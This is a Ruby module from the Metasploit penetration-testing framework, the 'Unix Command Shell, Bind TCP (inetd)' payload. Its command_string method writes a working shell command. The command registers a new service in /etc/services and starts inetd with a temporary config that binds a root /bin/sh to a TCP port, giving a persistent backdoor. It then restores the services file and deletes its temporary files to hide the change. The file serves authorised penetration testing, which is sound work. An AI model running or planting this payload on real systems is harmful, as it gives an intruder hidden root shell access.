Unix Command Shell, Bind TCP (inetd)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 487

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Unix Command Shell, Bind TCP (inetd)',
     'Description'   => 'Listen for a connection and spawn a command shell (persistent)',
     'Author'        => 'hdm',
     'License'       => MSF_LICENSE,
     'Platform'      => 'unix',
     'Arch'          => ARCH_CMD,
     'Handler'       => Msf::Handler::BindTcp,
     'Session'       => Msf::Sessions::CommandShell,
     'PayloadType'   => 'cmd',
     'Privileged'    => true,
     'RequiredCmd'   => 'inetd',
     'Payload'       =>
       {
         'Offsets' => { },
         'Payload' => ''
       }
    ))
    register_advanced_options(
      [
        OptString.new('InetdPath', [true, 'The path to the inetd executable', 'inetd']),
        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    vprint_good(command_string)
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)
    tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)
    svc = Rex::Text.rand_text_alpha_lower(9)

    cmd =
      # Create a clean copy of the services file
      "cp /etc/services #{tmp_services};" +

        # Add our service to the system one
        "echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +

        # Create our inetd configuration file with our service
        "echo #{svc} stream tcp nowait root #{datastore['ShellPath']} sh>#{tmp_inet};" +

        # First we try executing inetd without the full path
        "#{datastore['InetdPath']} -s #{tmp_inet} ||" +

        # Next try the standard inetd path on Linux, Solaris, BSD
        "/usr/sbin/inetd -s #{tmp_inet} ||" +

        # Next try the Irix inetd path
        "/usr/etc/inetd -s #{tmp_inet};" +

        # Overwrite services with the "clean" version
        "cp #{tmp_services} /etc/services;" +

        # Delete our configuration file
        "rm #{tmp_inet} #{tmp_services};";

    return cmd
  end
end